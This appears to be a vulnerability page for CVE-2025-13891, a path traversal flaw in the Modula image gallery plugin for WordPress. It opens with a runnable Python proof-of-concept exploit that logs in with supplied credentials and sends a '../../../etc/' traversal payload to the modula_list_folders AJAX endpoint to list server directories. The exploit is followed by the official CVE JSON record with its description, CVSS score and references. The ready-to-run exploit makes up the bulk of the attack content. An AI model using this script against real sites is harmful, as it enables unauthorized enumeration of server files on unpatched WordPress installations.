CVE-2025-13891

import requests import sys # CVE-2025-13891 Path Traversal PoC # Target: WordPress site with Modula plugin < 2.13.3 # Endpoint: /wp-admin/admin-ajax.php def exploit_path_traversal(target_url, username, password, file_path='../../../etc/'): """ Exploit the path traversal vulnerability in modula_list_folders AJAX endpoint Args: target_url: Base URL of the WordPress site username: WordPress user with Author+ role password: User password file_path: Path to traverse (default: ../../../etc/) Returns: Server response containing directory listing """ # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Perform login resp = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return None print('[+] Login successful!') # Exploit path traversal via modula_list_folders endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'modula_list_folders', 'modula': file_path # Path traversal payload } print(f'[*] Sending path traversal request: {file_path}') response = session.post(exploit_url, data=exploit_data, verify=False) return response.text if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] result = exploit_path_traversal(target, user, pwd) if result: print('\n[+] Response:') print(result)

{"cve": {"id": "CVE-2025-13891", "sourceIdentifier": "[email protected]", "published": "2025-12-12T08:15:47.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.13.3. This is due to the modula_list_folders AJAX endpoint that lacks proper path validation and base directory restrictions. While the endpoint verifies user capabilities (Author+ with upload_files and edit_posts permissions), it fails to validate that user-supplied directory paths reside within safe directories. This makes it possible for authenticated attackers, with Author-level access and above, to enumerate arbitrary directories on the server via the modula_list_folders endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L160", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L230", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L411", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3414176%40modula-best-grid-gallery%2Ftrunk&old=3407949%40modula-best-grid-gallery%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-13891/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/71e587ec-ceb6-48ca-9a1a-599d9d988b4d?source=cve", "source": "[email protected]"}]}}